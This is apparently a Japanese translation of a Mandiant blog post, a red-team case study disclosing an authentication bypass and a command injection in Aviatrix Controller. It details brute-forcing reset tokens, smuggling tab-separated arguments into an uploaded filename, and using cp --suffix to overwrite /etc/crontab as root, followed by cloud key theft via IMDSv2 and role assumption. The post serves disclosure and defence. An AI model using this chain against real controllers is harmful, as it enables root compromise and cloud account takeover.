コンテンツに移動
脅威インテリジェンス

革新的な技法: Aviatrix Controller でのリモートコード実行

2025年7月10日
Mandiant

【Next Tokyo ’25】

【Next Tokyo】120 以上のセッションをアーカイブ公開中。話題の Gemini、生成 AI、AI エージェントなどの Google Cloud のアップデートや顧客事例をチェックしましょう。

視聴はこちら

※この投稿は米国時間 2025 年 6 月 24 日に、Google Cloud blog に投稿されたものの抄訳です。

このブログ投稿では、「初期アクセス ブローカー」アプローチをシミュレートした Mandiant のレッドチームのケーススタディを紹介します。このアプローチにより、さまざまなクラウド ベンダーとリージョン間のリンクを作成できるソフトウェア定義ネットワーク(SDN)ユーティリティである Aviatrix Controller で 2 つの脆弱性が発見されました。

  • CVE-2025-2171: 管理者認証バイパス

  • CVE-2025-2172: 認証されたコマンド インジェクション

これらの脆弱性は Aviatrix Controller 7.2.5012 以前のバージョンに影響し、バージョン 8.0.0、7.2.5090、7.1.4208 でパッチが適用されました。報告されたセキュリティの問題を真剣に受け止め、迅速に修正してくれた Aviatrix のチームに感謝します。

レッドチームは、認証バイパス、安全でないファイルのアップロード、引数インジェクションを介して、完全にパッチが適用された Aviatrix Controller を不正使用することに成功しました。攻撃チェーンの詳細を図 1 に示します。

https://storage.googleapis.com/gweb-cloudblog-publish/images/aviatrix-fig1.max-1700x1700.png

図 1: 不正使用の手順

今年に入って、Mandiant はレッドチームの活動中に、非常に小さな攻撃対象領域を発見しました。この攻撃対象領域の大部分はサードパーティの SaaS であり、取り組みの対象外と判断されました。攻撃対象となる興味深いサービスの一つに、AWS でホストされている、完全にパッチが適用された Aviatrix Controller がありました。

Aviatrix には、さまざまなクラウドとリージョンにデプロイされたゲートウェイがあり、これらはすべて Aviatrix Controller に接続されます。Controller に不正アクセスすると、これらのすべてのクラウド ゲートウェイと Cloud APIs にアクセスできる中央コンポーネントに侵入できるため、Controller は攻撃者にとって魅力的な標的となります。さらに、Aviatrix Controller が 2024 年に発覚した未認証のコマンド インジェクションの脆弱性(CVE-2024-50603 として追跡)の影響を受けていることも確認しました。Jakub Korepta 氏の優れたブログ投稿に記載されている脆弱性は、Aviatrix Controller にさらなる脆弱性がないか調べる動機となるのに十分なものでした。Aviatrix Controller のソースコードを入手するのは比較的簡単で、前述のブログ投稿に記載されている手順に沿って操作するだけでした。

レッドチームの活動において早い段階で設定した目標は、クライアントのクラウド環境に侵入することでした。これは、リモートコード実行によって行われるか、または Aviatrix Controller の認証をバイパスすることによって行われます。残念ながら、これは当初の予想よりも難しいことがわかりました。

アーキテクチャ

Aviatrix Controller は、興味深いアーキテクチャを活用しています。Controller のロジックは主に Python3.10 コードベースで記述され、PyInstaller を使用してバイナリにバンドルされます。Controller サーバーでは、この実行可能ファイルが /etc/cloudx/cloudxd にありました。

バンドルされたバイナリは、古い PHP コードベースから呼び出されました。これを「フロントエンド」と呼びます。このフロントエンドは HTTP リクエストを解析し、パラメータを抽出して、sudo 呼び出しを介して root として実行される cloudxd バイナリに渡します。

たとえば、Aviatrix Controller のログイン ページでログインしようとすると、ブラウザは次のようなリクエストを発行します。

POST /v2/api HTTP/2
[...]

{"action":"login","username":"foobar","password":"foobar"}

このリクエストは、/var/www/ にある api.php ファイルによって処理され、そのファイルは functions.php verify_login 関数を呼び出します。

  function verify_login($username, $password, $ip, $api = false, $token = '') {
    $rtn_file = RTN_FILE . rand();
    $cmdstr = "sudo " . CLOUDX_CLI . " --rtn_file " . escapeshellarg($rtn_file) . " user_login_management get_password";
    $cmdstr .= " --user_name " . escapeshellarg($username);
    $cmdstr .= " --password " . escapeshellarg($password);
    $cmdstr .= " --login_ip " . escapeshellarg($ip);
    if ($api) $cmdstr .= " --api";
    if (!empty($token)) $cmdstr .= " --api_token " . escapeshellarg($token);
    return exec_command($cmdstr, $rtn_file, true);
  }

PHP フロントエンドは、次のように cloudxd バイナリを呼び出します。

$ sudo /etc/cloudx/cloudxd [...] user_login_management get_password
--username
foobar --password foobar --login-ip {user_ip}

最初の引数は「モジュール」で、この場合は user_login_management です。その後に「アクション」が続きます。この場合は  get_password です。この情報は、user_login_management モジュールのバックエンド実装を探す際に役立ちます。

バックエンド ロジックの抽出

次のステップでは、ログイン、ユーザー登録、パスワードのリセットなど、一般的な認証フローがどのように行われるかを特定しました。まず、pyinstxtractor ツールを使用して、cloudxd バイナリにあるコンパイル済みの Python バイトコードを抽出しました。これにより、Python バイトコードをきれいに抽出した結果、幸い難読化されていませんでした。ログイン モジュールは簡単に特定できました。Aviatrix モジュールは同じ名前のファイルに保存されていたからです(user_login_managementuser_login_management.pyc に保存されていました)

$ find . -name user_login_management.pyc
PYZ-00.pyz_extracted/user_login_management.pyc

$ file PYZ-00.pyz_extracted/user_login_management.pyc
PYZ-00.pyz_extracted/user_login_management.pyc: Byte-compiled Python module for CPython 3.10, timestamp-based, .py timestamp: Thu Jan  1 00:00:00 1970 UTC, .py size: 0 bytes

コンパイルされた Python ファイルは Python 3.10 を使用していましたが、これはよく使われている Python 逆コンパイラではサポートされていません。つまり、先人たちと同じように、Python バイトコードを手動で読み取る必要がありました。すぐに Python 3.10 インタープリタをダウンロードし、バイトコードを stdout にダンプしました。

$ ~/.pyenv/versions/3.10.12/bin/python -c \
"import dis
import types
import marshal

with open('user_login_management.pyc', 'rb') as f:
    f.read(0x10)
    code_object = marshal.load(f)
    dis.dis(code_object)"

   4           0 LOAD_CONST               0 (0)
               2 LOAD_CONST               1 (None)
               4 IMPORT_NAME              0 (os)
               6 STORE_NAME               0 (os)
   5           8 LOAD_CONST               0 (0)
              10 LOAD_CONST               1 (None)
              12 IMPORT_NAME              1 (os.path)
              14 STORE_NAME               0 (os)
   6          16 LOAD_CONST               0 (0)
              18 LOAD_CONST               1 (None)
              20 IMPORT_NAME              2 (logging)
              22 STORE_NAME               2 (logging)

この手法を使用すると、ソースコードのバイトコード表現を読み取ることができます。しかし、逆アセンブルされた Python は非常に冗長で、ログイン ロジックは約 6,300 行にも及びます。レッドチームの活動中にそのような時間はないため、いくつかのショートカットが必要でした。

認証バイパス

Gemini を使用して、逆アセンブルされた Python から Python 擬似コードを取得したことで、多くの時間を節約できました。興味深い点が見つかりました。アカウントのパスワード リセットを開始すると、111,111 から 999,999 までの 6 桁の数字がパスワード リセット トークンとして生成されていました。Gemini で生成された擬似コードを図 2 に示します。

https://storage.googleapis.com/gweb-cloudblog-publish/images/aviatrix-fig2.max-1400x1400.png

図 2: reset_password アクションの LLM 生成擬似コード

一意の候補が 999,999 - 111,111 = 888,888 個しかなく、パスワード リセット トークンのエントロピーは効果を発揮するには強さが足りませんでした。無効なトークンが多すぎる場合にパスワード リセットを無効にするロジックは、コードベース内に見つかりませんでした。ただし、Aviatrix Controller はトークンを 15 分間しか受け入れず、その後はトークンが無効になります。

これにより、アカウントを乗っ取るための制限時間は 15 分間、候補は 90 万件弱となりました。攻撃の理論化が完了したところで、パスワード ブルート フォース ツールを作成しました。入力には「seq -w 111111 999999 | sort --random-sort」を使用し、パスワード再設定リクエストの発行には ffuf を使用しました。

次の手順を 15 分ごとに繰り返し実行します。

  1. 新しい候補者リストを生成する(必須ではないが、ゲン担ぎ程度(!)に変更する方がよい)

  2. curl を使用してパスワード リセットを開始する

  3. 新しい候補を使用して ffuf ブルートフォースを開始する

ffuf が有効なパスワード リセット トークンのみを返すよう、ブルート フォース ツールは「invalid or expired」という文字列に一致するすべてのリクエストを無視するように構成されていました。パスワードの再設定を送信すると、構成された管理者のメールアドレスに必ずメールが送信されるため、検出のリスクが高まります。ただし、管理者アカウントにメールが構成されていない可能性もあります。アカウントの乗っ取りを続行する許可を得た後、デフォルトの Aviatrix ユーザー「admin」をターゲットとしたブルートフォースを開始しました。16 時間 23 分後、図 3 に示すように一致する結果が得られました。

https://storage.googleapis.com/gweb-cloudblog-publish/images/aviatrix-fig3a.max-600x600.png

図 3: 有効なパスワード リセット トークンの識別

このトークンにより、管理者ユーザーのパスワードをリセットして、Controller への認証を行うことができました。Aviatrix Controller のセキュリティ制御の最初のレイヤを突破したことで、OpenVPN 構成のデプロイ、ユーザーの作成、ユーザーのハッシュ化された認証情報の取得、ローカル MongoDB からの読み取りなど、多数のクラウド機能にアクセスできるようになりました。

脆弱性利用型不正プログラムのプリミティブの探索

Aviatrix は、Controller の認証情報の漏洩がクラウドの完全な侵害につながらないように、多くの予防措置を講じています。したがって、Controller サーバー上で基本的なコマンドを実行したり、接続できる新しいクラウド インスタンス(EC2、GCE)をスピンアップしたりすることは不可能であるように見えました。レッドチームの目標の観点から言えば、管理者アカウントへのアクセス権を取得できたことは成功ですが、期待していた成功ではありませんでした。

そこで、リモートコード実行につながる脆弱性を探すことにしました。最初から注目していた興味深いコードの一つに、次のようなフロントエンド(PHP)レベルの非常にクリエイティブなファイル アップロード処理がありました。

function upload_file($actionname, $key, $arr, $ext = array(), $type = null, $size = PHP_LIMIT_SIZE) {
    $res["return"] = false;
    $invalid_extensions = array("php", "py", "htaccess", "zip", "sh", "pdf");
    if (array_key_exists($key, $arr) && !empty($arr[$key])) {
      switch ($arr[$key]["error"]) {
        case 0:
          $filename = basename($arr[$key]["name"]);
          $extension = substr($filename, strrpos($filename, ".") + 1);
          $extension = strtolower(explode(" ", $extension)[0]);
          $filename = substr($filename, 0, strrpos($filename, "."));
          $filename = preg_replace("/\s+/", "_", $filename);
          if (!empty($ext) && !in_array($extension, $ext)) {
            $res["reason"] = "Invalid file extension.";
            [...]
          } else {
            $storedname = $actionname . "-" . $key;
            $newpath = "/var/avxui/" . $storedname . "." . $extension;
            if (!move_uploaded_file($arr[$key]["tmp_name"], $newpath)) {
              $res["reason"] = "A problem occurred during file upload.";
            } else {
              $res["return"] = true;
              $res["filename"] = $newpath;
            }
          }
    [...]
  return $res;
}

このルーチンは、多くのことを行います。まず、upload_file() 関数によりファイル拡張子の許可リストの使用が可能になっていますが、実際にはほとんど使用されていませんでした。たとえば、PHP フロントエンド コードベースで見つかったこの関数呼び出しは次のとおりですが、いずれも拡張子の許可リストを指定していません。

  • upload_file($action, "file", $_FILES);

  • upload_file($action, "ldap_ca_cert", $_FILES);

  • upload_file($action, "ldap_client_cert", $_FILES);

  • upload_file($action, "ldap_ca_cert", $_FILES);

  • upload_file($action, "ldap_client_cert", $_FILES);

この関数の興味深い副作用として、アップロードされたファイルはディスクに書き込まれますが、ファイルの処理後も削除されませんでした。また、ディスクに書き込まれるファイルを部分的に制御することも可能でした。具体的には、ファイル拡張子を介して制御します。

たとえば、次のファイル アップロード リクエストの場合では、

Content-Disposition: form-data; name="ldap_ca_cert";
filename="xxe.
foobar;baz"

アップロードされたファイルを Aviatrix Controller ファイルシステム上に「/var/avxui/test_ldap_bind-ldap_ca_cert.foobar;baz」として作成します。

ファイル アップロード ルーチンではスラッシュは許可されず、最初のスペースのはすべて切り捨てられ、最後のピリオド文字(.)のはすべて無視されます。興味深いことに、Controller はファイル名にタブ文字を使用することを許可していました。ファイル名と、ディスクに書き込まれるファイル名の例を以下に示します。

 

アップロードするファイル

ディスク上のファイル

foobar.abc

{action}.abc

foobar.abc.xyz

{action}.xyz

foobar.abc/def.ghj

{action}.ghj

foobar.abc .xyz

{action}.abc

foobar.abc{tab}xyz

{action}.abc{tab}xyz

ディスクに保存されるファイル名の一部を制御できるため、Mandiant はコマンド インジェクションの脆弱性を探すことにしました。Controller バックエンドがアップロードされたファイル名をコマンドライン引数で安全でない方法で使用した場合、シェルコマンドにインジェクションしてリモートコードを実行することが可能になります。

もう 1 つ興味深いアーキテクチャ面の決定は、Controller がコマンドライン ユーティリティを使用して OS レベルの操作を行っていたことです。たとえば、Controller はファイルのコピーを処理するのに Python ライブラリを使用しないで「cp」プログラムを実行していました。ファイル名の一部を制御できるため、これにより攻撃対象領域が大幅に広がりました。

Mandiant は、オペレーティング システムのコマンドを実行するために使用されるライブラリ コードを調査するなかで、興味深いパターンを観察しました。実行されるコマンドが文字列として構築され、後でトークン化されるというものです。次の Python バイトコードに、この例を示します。

// Disassembly of tools.sysutils.txt
Disassembly of get_system_cmd_output:
276           0 LOAD_FAST                0 (cmd)
              2 STORE_FAST               8 (cmd_)
277           4 LOAD_FAST                3 (shell)
              6 POP_JUMP_IF_TRUE        14 (to 28)
              8 LOAD_GLOBAL              0 (isinstance)
             10 LOAD_FAST                0 (cmd)
             12 LOAD_GLOBAL              1 (list)
             14 CALL_FUNCTION            2
             16 POP_JUMP_IF_TRUE        14 (to 28)
278          18 LOAD_GLOBAL              2 (shlex)
             20 LOAD_METHOD              3 (split)
             22 LOAD_FAST                0 (cmd)
             24 CALL_METHOD              1
             26 STORE_FAST               8 (cmd_)
[...]
291          64 LOAD_GLOBAL              5 (subprocess)
             66 LOAD_ATTR                6 (check_output)
             68 LOAD_FAST                8 (cmd_)
[...]
             80 STORE_FAST              10 (res)
[...]
            242 LOAD_FAST               12 (res)
            244 CALL_METHOD              1
            246 RETURN_VALUE

このバイトコードは、次のように Python に変換できます。

def get_system_cmd_output(cmd, [...]):
    cmd_ = shlex.split(cmd)
    return subprocess.check_output(cmd_))

つまり、Aviatrix Controller の個々の機能は、次のような文字列としてコマンドを構築していました。

get_system_cmd_output("cp /folder/fileA /folder/fileB")

get_system_cmd_output() は文字列を入力として受け入れますが、基盤となる Python の subprocess.check_output() 関数はリスト(["cp", "/folder/fileA", "/folder/fileB"])を想定しています。これに対処するために、Aviatrix Controller は Python のサブプロセスに関するドキュメントに従い、コマンドライン文字列で shlex.split() 関数を呼び出します。この shlex.split() 関数呼び出しに脆弱性があります。

引数によるスマグリング

shlex モジュールは、シェル インタプリタと同じ方法でユーザー入力を分割します。つまり、タブ文字などの一般的な空白文字でトークン化します。ファイル アップロードのフロントエンドではタブのサニタイズやフィルタリングが行われていなかったため、これは特に興味深いものでした。そのため、アップロードされたファイル名にタブ文字を追加することで、コマンドライン引数をシェル インタープリタに不正に渡すことが可能になります。図 4 は、shlex ライブラリがタブ文字をスペースと同様にトークン化していることを示しています。

https://storage.googleapis.com/gweb-cloudblog-publish/images/aviatrix-fig4.max-1000x1000.png

図 4: タブ文字をトークン化する shlex

たとえば、次のような名前のファイルをアップロードしたとします。

foobar.foo{TAB}--bar{TAB}--baz

ディスクに書き込まれるファイルは次のようになります。

{ACTION}.foo{TAB}--bar{TAB}--baz

後で「cp」などのコマンドライン ユーティリティに渡されると、次のコマンドが実行されます。

$ cp {ACTION}.foo --bar --baz /folder/final_file

これにより、呼び出される基盤となるプログラムに予期しない引数を忍び込ませることができました。

そこで、ファイルのアップロードを受け付け、部分的に制御されたファイル名をシェル プログラムに渡す機能を探すことにしました。そのような機能の一つが Proxy Admin ユーティリティで見つかりました。この機能により、カスタム CA 証明書ファイルをインストールできるようになります。この証明書は、ファイルアップロードで取得され、ディスクに保存され、「cp」でファイル システムの別の場所にコピーされます。この機能のバイトコードは次のようになります。

// Disassembly of CertInstall.pyc
Disassembly of install:
[...]
 81          18 LOAD_CONST               1 ('sudo cp %s %s')
             20 LOAD_FAST                0 (self)
             22 LOAD_ATTR                3 (crt)
             24 LOAD_FAST                0 (self)
             26 LOAD_ATTR                4 (_local_crt)
[...]
             32 STORE_FAST               2 (cmd)
 83          44 LOAD_FAST                1 (cmdset)
             46 LOAD_METHOD              5 (append)
             48 LOAD_CONST               2 ('sudo update-ca-certificates')
             50 CALL_METHOD              1
             52 POP_TOP
[...]
 84     >>   54 LOAD_FAST                0 (self)
             56 LOAD_METHOD              6 (_exec_commands)
             58 LOAD_FAST                1 (cmdset)
             60 CALL_METHOD              1

class CertInstall:
    def install(self):
        cmd = f"sudo cp {injection_point} /usr/local/share/cacertificates/test_proxy_connectivity-server_ca_cert.crt"
        cmdset.append(cmd)
        cmdset.append("sudo update-ca-certificates")
      return self._exec_commands(cmdset)

これは理想的な候補でした。/usr/bin/cp プログラムに引数をスマグリングできれば、理論的には、アップロードされたファイルをファイルシステムの別の場所にコピーできます。さらに、Controller が証明書であると想定するスマグリングされたファイルの内容は、ユーザーが完全に制御可能です。このとき、私たちの目標は、/usr/bin/cp に引数を不正に送り込み、基盤となるファイル システムで任意のファイル書き込みプリミティブを取得することでした。成功した場合、cp 呼び出しが sudo でラップされるため、これも root として実行されます。

認定 /usr/bin/cp ハッカー

次に、多くの不正使用の要件をシミュレートするテストベッドを作成しました。つまり、次の要件に従ってファイル名を作成する必要があります。

  1. ピリオド(.)文字は使用できない

  2. スラッシュ文字(/ または \)は使用できない

  3. スペース文字は使用できない

  4. ファイル名は PHP フロントエンドによって小文字に変換される

  5. 不正な引数は 2 番目の位置に渡される

  6. 現在の作業ディレクトリは /

これは一見簡単そうですが、実際はそうではありません。では実際にどうすべきなのでしょうか。インジェクション ポイントは次のとおりです。

$ cp /var/avxui/test_proxy_connectivityserver_ca_cert.{prefix}
{smuggled arguments} /usr/local/share/cacertificates/
test_proxy_connectivity-server_ca_cert.crt

簡潔にするため、次のように書き換えます。

$ cp {prefix} {smuggled arguments} {trailing}

{prefix} は、アップロードされたコンテンツを含むユーザー制御のファイル名です。{trailing} は、最終的な証明書の保存先である /usr/local/share/cacertificates です。

比較的早い段階で、/etc/crontab がファイル上書きの興味深いターゲットであることがわかりました。このファイルにはピリオド文字が含まれていないためです。これで最初の要件はクリアです。

まず、cp を使用して、アップロードしたファイルの名前を現在の作業ディレクトリで「crontab」に変更します。次に、2 つ目の cp コマンドを実行して、/etc にコピーします。

スラッシュなしの制限があるため、当初は、/etc という表現を使うことなく /etc にファイルを書き込む方法がわかりませんでした。しかし、cp コマンドは複数の入力ファイルを渡された場合に最後の引数をディレクトリとして扱います。武器化した crontab をスラッシュ文字を使わずに /etc にコピーする 1 つの方法として、これを悪用することを考えました。つまり、最終的なファイルが単に「etc」となるコマンドをなんらかの方法で作成できれば、その前に渡されたすべてのファイル名が、スラッシュを使うことなく /etc にコピーされることになります。マニュアルによると次のとおりです。

SYNOPSIS
       cp [OPTION]... SOURCE... DIRECTORY

DESCRIPTION
       Copy SOURCE to DEST, or multiple SOURCE(s) to DIRECTORY.

しかし、不正な引数を送り込むコマンドには、末尾にファイル名 /var/avxui/test_proxy_connectivity-server_ca_cert.txt があります。マニュアルのページを注意深く読むと、次のような興味深い引数を見つけました。

       -S, --suffix=SUFFIX
              override the usual backup suffix

--suffix 引数を不正に挿入することで、cp バイナリに、末尾のファイル名がバックアップ サフィックスであると誤認させることができます。そうすれば、--backup 引数を渡していないため、ここでは無視されます。こうすることで、最終的なファイルが「etc」になる cp コマンドを作成できました。

ローカルで動作を確認できます。赤い部分が今回作成したファイル名です。

$ echo BAD > /var/fileupload.txt

## Simulate first file upload, "crontab" file is created at the root

$ cp /var/fileupload.txt crontab --suffix /usr/local/cert…

$ cat /crontab

BAD

## Simulate second file upload, "crontab" is copied over to /etc

$ cp /var/fileupload.txt crontab etc --suffix /usr/local/cert…

$ cat /etc/crontab

BAD

実際の例を図 5 に示します。

https://storage.googleapis.com/gweb-cloudblog-publish/original_images/aviatrix-fig5.gif

図 5: 任意のファイルへの書き込みにつながる引数の不正な取り扱い

実践

ここまでで、引数インジェクションの脆弱性について理論を立てました。次にそれが機能するかどうかを確認します。

1. 最初に、dummy.txt という単純な crontab ファイルを含む CA 証明書ファイルをアップロードしました。このファイルは、図 6 に示すように、ファイル システム上に /var/avxui/test_proxy_connectivityserver_ca_cert.txt として保存されます。このファイルは後で crontab に名前を変更し、/etc に移動します。

https://storage.googleapis.com/gweb-cloudblog-publish/images/aviatrix-fig6.max-1300x1300.png

図 6: 悪意のある crontab を含むローカル ファイルの作成

2. 次に、最初の引数インジェクション攻撃を実行し、図 7 に示すように、test_proxy_connectivityserver_ca_cert.txt ファイルの名前を crontab に変更しました。

https://storage.googleapis.com/gweb-cloudblog-publish/images/aviatrix-fig7.max-1300x1300.png

図 7: ファイル拡張子に不正に埋め込まれた引数を含むローカル ファイルの作成

その HTTP リクエストに続いて実行されるリテラル コマンドは次のとおりです。

/usr/bin/cp /var/avxui/test_proxy_connectivity-server_ca_cert.txt crontab
--suffix /usr/local/share/ca-certificates/
test_proxy_connectivity-server_ca_cert.crt

説明したように、--suffix 引数を使用すると末尾のファイル名が無視されるため、cp コマンドは次のように短縮できます。

/usr/bin/cp /var/avxui/test_proxy_connectivity-server_ca_cert.txt crontab

コマンドはファイル システムのルートで実行されるため、/var/avxui/test_proxy_connectivity-server_ca_cert.txt/crontab にコピーします。

 

3. 最後に、バグをもう一度トリガーして、図 8 に示すように /crontab ファイルを /etc フォルダに移動します。

https://storage.googleapis.com/gweb-cloudblog-publish/images/aviatrix-fig8.max-1300x1300.png

図 8: ローカル ファイルを /etc フォルダに移動する

その HTTP リクエストに続いて実行されるリテラル コマンドは次のとおりです。

/usr/bin/cp /var/avxui/test_proxy_connectivity-server_ca_cert.txt crontab
etc --suffix /usr/local/share/ca-certificates/
test_proxy_connectivity-server_ca_cert.crt

cp コマンドは次のように短縮できます。

/usr/bin/cp /var/avxui/test_proxy_connectivity-server_ca_cert.txt
crontab etc

cp に渡されるファイルが 2 つ以上あるため、最後のファイルはディレクトリとして解釈されます。このコマンドにより /var/avxui/test_proxy_connectivity-server_ca_cert.txtcrontab の両方が /etc にコピーされ、エクスプロイト チェーンが完成します。

想定したとおり、1 分以内、そしてその後も 1 分ごとに、curl コールバックが返ってきました。これを図 9 に示します。

https://storage.googleapis.com/gweb-cloudblog-publish/images/aviatrix-fig9.max-700x700.png

図 9: curl コマンドを正常に実行する crontab

実行コンテキストも crontab から継承され、root となっていました。これは攻撃者の観点からすると非常に都合の良いことです。

これにより、認証バイパス、安全でないファイルのアップロード、引数インジェクションを介して、完全にパッチが適用された Aviatrix Controller の不正使用に成功したことになります。

クラウドへの展開

初期アクセス チームの仕事はここまででしたが、レッドチーム オペレーターの仕事はここから始まります。最後のステップは、このアクセスを利用してクラウド管理者権限を取得することでした。侵害された Aviatrix Controller から AWS IMDSv2 エンドポイントをクエリして、一時的なクラウド鍵を取得できました。

これにより、ARN「arn:aws:sts::[...]:assumed-role/Aviatrix-role-ec2」へのアクセスが許可されます。この ARN は、設計上、基本的に何もアクセスできません。権限のある Aviatrix ロールのクラウド鍵を取得するには、Aviatrix のドキュメントに記載されているように、ロールの引き受けを実行する必要がありました。

構成済みの AWS プロファイルを使用して、次の操作を実行しました。

$ aws sts assume-role --role-arn "arn:aws:iam::[...]:
role/aviatrix-role-app" --role- session-name "AviatrixSession"

これにより、一時的な AWS 鍵の新しいセットが付与され、EC2 や S3 バケットなどにアクセスできるようになりました。

まとめ

攻撃対象領域が非常に限定されていたため、通常とは異なる標的、つまりソフトウェア定義ネットワーク(SDN)コントローラを攻撃せざるを得ませんでした。コードレビュー、忍耐、そして運に恵まれたこともあり、Mandiant の初期アクセス チームは、新たに発見された 2 つの脆弱性を悪用して、クライアントの Aviatrix Controller を侵害し、その後クラウド環境も侵害しました。

タイムライン

  • 2025 年 3 月 10 日: Aviatrix ヘルプデスクへの最初の報告

  • 2025 年 3 月 12 日: 問題を Aviatrix のリーダーにエスカレーション

  • 2025 年 3 月 12 日: Aviatrix のエンジニアとリーダーとの電話会議で問題を説明

  • 2025 年 3 月 31 日: お客様にパッチをリリース

-Mandiant、執筆者: Louis Dion-Marcil 氏

投稿先